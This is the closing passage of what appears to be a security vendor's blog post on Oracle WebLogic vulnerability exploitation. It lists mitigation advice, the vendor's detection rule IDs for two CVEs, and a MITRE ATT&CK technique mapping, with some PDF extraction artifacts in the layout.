2. Network segmentation. Use network segmentation to reduce the attack surface. By
separating critical network segments from the larger network, the impact of a potential
vulnerability exploitation can be minimized,

3. Regular security audits. Conduct security audits and vulnerability assessments
regularly to identify and remediate potential weaknesses within the infrastructure
before they can be exploited.

4. Security awareness training. Educate employees about the common tactics used by
attackers so they can recognize and avoid falling victim to social engineering attacks
that might precede vulnerability exploitation.

5. Incident response plan. Develop, test, and maintain an incident response plan so
your organization can respond quickly and effectively to any security breaches or
vulnerability exploitations.

6. Threat intelligence. Subscribe to threat intelligence feeds to stay informed about the
latest threats and tactics used by threat actors and advanced persistent threat (APT)
groups.

Trend solutions

The following protections exist to detect malicious activity and shield Trend customers
against the exploitation of the vulnerabilities discussed in this blog entry:

* 1011716 - Oracle Weblogic Server Insecure Deserialization Vulnerability (CVE-2023-
21839)

e 1010550 - Oracle WebLogic WLS Security Component Remote Code Execution
Vulnerability (CVE-2017-3506)

Indicators of Compromise (IOCs)

The indicators of compromise for this entry can be found here.

MITRE ATT&CK
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Technique

Tactic Technique ID
Initial Access Exploit Public-Facing Application T1190
Execution Command and Scripting Interpreter: PowerShell T1059.001
Defense Evasion Deobfuscate/Decode Files or Information T1140
Obfuscated Files or Information: Command T1027.010
Obfuscation
Hide Artifacts: Hidden Window T1564.003
Process Injection: Portable Executable Injection T1055.002
Reflective Code Loading T1620
Command and Data Encoding: Standard Encoding T1132.001
Control
Application Layer Protocol: Web Protocols T1071.001
Ingress Tool Transfer T1105

9/9



